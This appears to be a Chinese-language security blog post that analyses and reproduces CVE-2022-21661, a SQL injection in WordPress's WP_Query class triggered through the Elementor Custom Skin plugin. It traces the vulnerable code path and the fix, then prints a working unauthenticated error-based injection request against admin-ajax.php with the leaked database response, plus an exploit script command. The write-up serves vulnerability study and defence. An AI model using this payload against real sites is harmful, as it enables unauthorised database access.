WordPress核心框架WP_Query - 带插件SQL注入代码审计复现(CVE-2022–21661)

复现环境

  • 官方源码下载(wordpress 5.7.0)

  • 环境: wampserver + php 8.0.26 + mysql 8.0.31 + apache 2.4.54.2

WordPress核心框架WP_Query - 带插件SQL注入代码审计复现(CVE-2022–21661)

漏洞描述

Wordpress是世界上使用最多的开源 CMS 之一。在允许开发者自己构建插件和主题来管理网站时,使用许多便捷功能,wordpress的核心会提供插件/主题调用和使用wordpress函数的功能,如数据格式、查询数据库等许多选项在提供的众多wordpress ma类中,在提供查询DB的WP服务器类中发现SQL Injection bug: WP_Query。

由于WP_Query中的处理不当,在某些情况下,SQL注入可能通过以某种方式使用它的插件或主题实现。这个问题在WordPress 5.8.3版本中已经修复。

受影响的旧版本也通过安全发布进行了修复,可以向前追溯到3.7.37。强烈建议启用自动更新。

此漏洞最初由GiaoHangTietKiem JSC的ngocnb和khuyn报告给 ZDI

  • ngocnb’s end of 2021 twitter

  • youtube demo:

  • Demonstrating CVE-2022-21661: An Information Disclosure Bug in WordPress

风险等级

高危

影响版本

wordpress < 5.8.3 且未更新的旧版本

漏洞利用链分析

该漏洞发生在WordPress Query (WP_Query)类中。WP_Query对象用于对WordPress数据库执行自定义查询。这个对象被插件和主题用来创建自定义的帖子显示。

该漏洞发生在插件使用易受攻击类时。Elementor Custom Skin就是这样一个插件。在这里,针对WordPress 5.7.0版本和Elementor Custom Skin 插件3.1.3版本测试了该漏洞。

在这个插件中,易受攻击的WP_Query类被用在ajax-pagination.php的get_document_data方法中:

  • wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

get_document_data方法在请求发送到wp-admin/admin-ajax.php时被调用,action参数是ecsload。

  • wordpress/wp-admin/admin-ajax.php

admin-ajax.php页面检查请求是否由经过身份验证的用户发出。如果请求来自未经身份验证的用户,则admin-ajax.php调用未经身份验证的Ajax操作。在这里,发送请求时不进行身份验证,因此调用未经过身份验证的Ajax操作,即wp_ajax_nopriv_ecsload。

搜索字符串”wp_ajax_nopriv_ecsload”会显示它是ajax-pagination.php页面中出现的hook名:

  • wordpress/wp-content/plugins/ele-custom-skin/includes/ajax-pagination.php

wp_ajax_nopriv_ecsload hook名指的是get_document_data回调函数。这意味着do_action方法调用get_document_data方法。

get_document_data方法创建一个WP_Query对象。WP_Query对象的初始化调用下面的get_posts方法:

  • wordpress/wp-includes/class-wp-query.php

回到函数clean_query,当这个改动没有做的时候,默认情况下$query[‘terms’]只会删除in的值,然后再调用到$this->transform_query( $query, ‘term_id’ );。

为了避免下降if,它$query[‘taxonomy’]需要为空或is_taxonomy_hierarchical返回false的值。

该函数transform_query将检查$query[‘field’] == $resulting_field,如果为真,则返回并且不做进一步处理,因此如果变量$query[‘field’]为term_taxonomy_id,可以退出函数而不更改变量值$query[‘terms’]。

(这里的比较是使用==并且存在Loose比较的漏洞,在某些情况下这个错误可以用来随意创建条件句)。

get_posts方法首先解析用户提供的参数。接下来,它调用get_sql方法,该方法最终调用get_sql_for_clause从用户提供的数据创建SQL语句的子句。Get_sql_for_clause子句调用clean_query来验证用户提供的字符串。但是,如果taxonomy参数为空,并且字段参数的值是字符串”term_taxonomy_id”,则该方法无法验证terms参数。terms参数的值稍后将在SQL语句中被使用。

  • wordpress/wp-includes/class-wp-tax-query.php

注意,get_sql()返回的sql变量被附加到sql SELECT语句中,并使用从WP_Tax_Query->get_sql()方法返回的字符串进行拼接。

稍后,在get_posts方法中,该查询由$wpdb->get_col()方法执行,从而满足SQL注入条件。

调用栈如下:

1
2
3
4
5
6
7
8
WP_Query->__construct()
WP_Query->query()
WP_Query->get_posts()
WQ_Tax_Query->get_sql()
WQ_Tax_Query->get_sql_clauses()
WQ_Tax_Query->get_sql_for_query()
WQ_Tax_Query->get_sql_for_clause()
WQ_Tax_Query->clean_query()

主要参数$query只需要满足以下2个条件,就可以触发SQL注入漏洞:

  • $query[‘include_children’]取值为false(或者is_taxonomy_hierarchical($query[‘taxonomy’])取值为false);
  • $query[‘field’]取值为term_taxonomy_id

虽然这是wordpress核心的bug,但是wordpress核心的复用方式并不能触发错误,需要在特定插件和主题中联动。

WP_Query当要查询数据库时,插件/主题会调用该类,从源代码中识别bug的方法是在使用WP_Query($data)和$data是可控的。

漏洞修复

在 5.8.3 版本中,wordpress 已经修复了这个错误,查看github的提交更改可以在处理变量之前clean_query添加检查的函数中看到。

在$query[‘terms’]之前新添加了$query[‘field’]的判断

漏洞复现

环境搭建

  1. 本地下载wordpress 5.7.0
  2. 首先自己建一个数据库,供wordpress使用。
  • 注意: 自己先建一下数据库,wordpress无权建立数据库,否则会安装不成功。

  1. wampserver 把wordpress放进去就可以
  2. 访问http://127.0.0.1/wordpress-5.7/开始安装,选择自己刚才创建的数据库即可。
  3. 搭建完成。登录后台的记得要注销退出,否则无法复现。
  1. 安装Elementor Custom Skin插件,在后台上传压缩包后,激活插件即可。

  2. 安装Hello Elementor Theme主题,在后台上传压缩包后,选择主题即可。

  3. 安装Elementor Website Builder插件,在后台上传压缩包后,激活插件即可。

修改配置

为了看到报错信息,可以将debug打开,如果不打开只能盲注,延时或者外带

设置断点

  • 断点位置1

  • 断点位置2

  • 断点位置3

  • 断点位置4

burp构造请求包进行报错注入

  • request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /wordpress-5.7/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress-5.7/wp-admin/index.php
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 223

action=ecsload&query={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["1) or updatexml(0x7e,concat(1,user()),0x7e)#"]}}}&ecs_ajax_settings={"post_id":"1","current_page":1,"widget_id":1,"theme_id":1,"max_num_pages":10}
  • response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
HTTP/1.1 500 Internal Server Error
Date: Sun, 09 Apr 2023 06:51:06 GMT
Server: Apache/2.4.54 (Win64) PHP/8.0.26 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.0.26
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Length: 1230
Connection: close
Content-Type: text/html; charset=UTF-8

<div id="error"><p class="wpdberror"><strong>WordPress database error:</strong> [XPATH syntax error: &#039;root@localhost&#039;]<br /><code>
SELECT SQL_CALC_FOUND_ROWS wp57_posts.ID
FROM wp57_posts LEFT JOIN wp57_term_relationships ON (wp57_posts.ID = wp57_term_relationships.object_id) LEFT JOIN wp57_posts AS p2 ON (wp57_posts.post_parent = p2.ID)
WHERE 1=1 AND (
wp57_term_relationships.term_taxonomy_id IN (1) or updatexml(0x7e,concat(1,user()),0x7e)#)
) AND wp57_posts.post_type IN (&#039;post&#039;, &#039;page&#039;, &#039;attachment&#039;, &#039;e-landing-page&#039;) AND (((wp57_posts.post_status = &#039;publish&#039;) OR (wp57_posts.post_status = &#039;inherit&#039; AND (p2.post_status = &#039;publish&#039;))))
GROUP BY wp57_posts.ID
ORDER BY wp57_posts.post_date DESC
LIMIT 10, 10
</code></p></div> <div data-elementor-type="wp-post" data-elementor-id="1" class="elementor elementor-1 elementor-bc-flex-widget" data-elementor-settings="[]">
<div class="elementor-section-wrap">
<p>There has been a critical error on this website.</p><p><a href="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p>

github exp自动化利用(延时注入猜解字段)

  • Wordpress-cve-CVE-2022-21661
  • SSI-CVE-2022-21661
1
python3 sploit.py http://<target-ip>/wp-admin/admin-ajax.php <payload-id> 
  • CVE-2022-21661

  • WordPress v4.1~v5.8.2 WP_Query SQL Injection POC

受影响插件分析

1
2
3
4
搜索
new WP_Query
并找可控数据
类似new WP_Query($controlData);
  • PS:相当多的插件和主题受到该漏洞的影响(authen 和 unauthen)

总结

对WordPress网站的主动攻击通常集中在可选的插件上,而不是WordPress核心本身。

今年早些时候,当Fancy Product Designer插件中的一个bug被报告为受到主动攻击时Critical 0-day in Fancy Product Designer Under Active Attack,就出现了这种情况。

同样,Trend Micro sensors也检测到Contact Form 7插件中的文件上传漏洞正在被利用。在这种情况下,漏洞是通过插件暴露的,但存在于WordPress本身。虽然这是一个信息泄露而不是代码执行的问题,但任何暴露的数据对攻击者来说都可能是有价值的。在不久的将来,在主动攻击中看到这个错误并不会让人感到惊讶。

特别感谢GiaoHangTietKiem JSC的ngocnb和khuyenn向ZDI报告这一情况。

他们对该漏洞的原始分析SQL Injection in Wordpress core (CVE-2022–21661)

参考资源

  • CVE-2022-21661: EXPOSING DATABASE INFO VIA WORDPRESS SQL INJECTION
  • WordPress Core 5.8.2 - ‘WP_Query’ SQL Injection EDB
  • WordPress v4.1~v5.8.2 WP_Query SQL Injection POC
  • Wordpress 5.8.2 CVE-2022-21661 Vuln enviroment
  • wordpress-CVE-2022-21661
  • CVE-2022-21661 exploit for Elementor custom skin
  • SSI-CVE-2022-21661
  • Detailed Static/Dynamic Analysis For (CVE-2022-21661)
  • CVE-2022-21661
  • 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现
  • CVE-2022–21661 WordPress <=5.3 携带WP_QUERY插件SQL注入
  • 深度刨析 Wordpress 的 SQL 注入 (CVE-2022–21661)
  • LadonExp教程CVE-2022–21661 WordPress漏洞复现
  • WordPress SQL注入漏洞|CVE-2022-21661 分析与复现
  • WordPress Core SQL注入漏洞(CVE-2022–21661)分析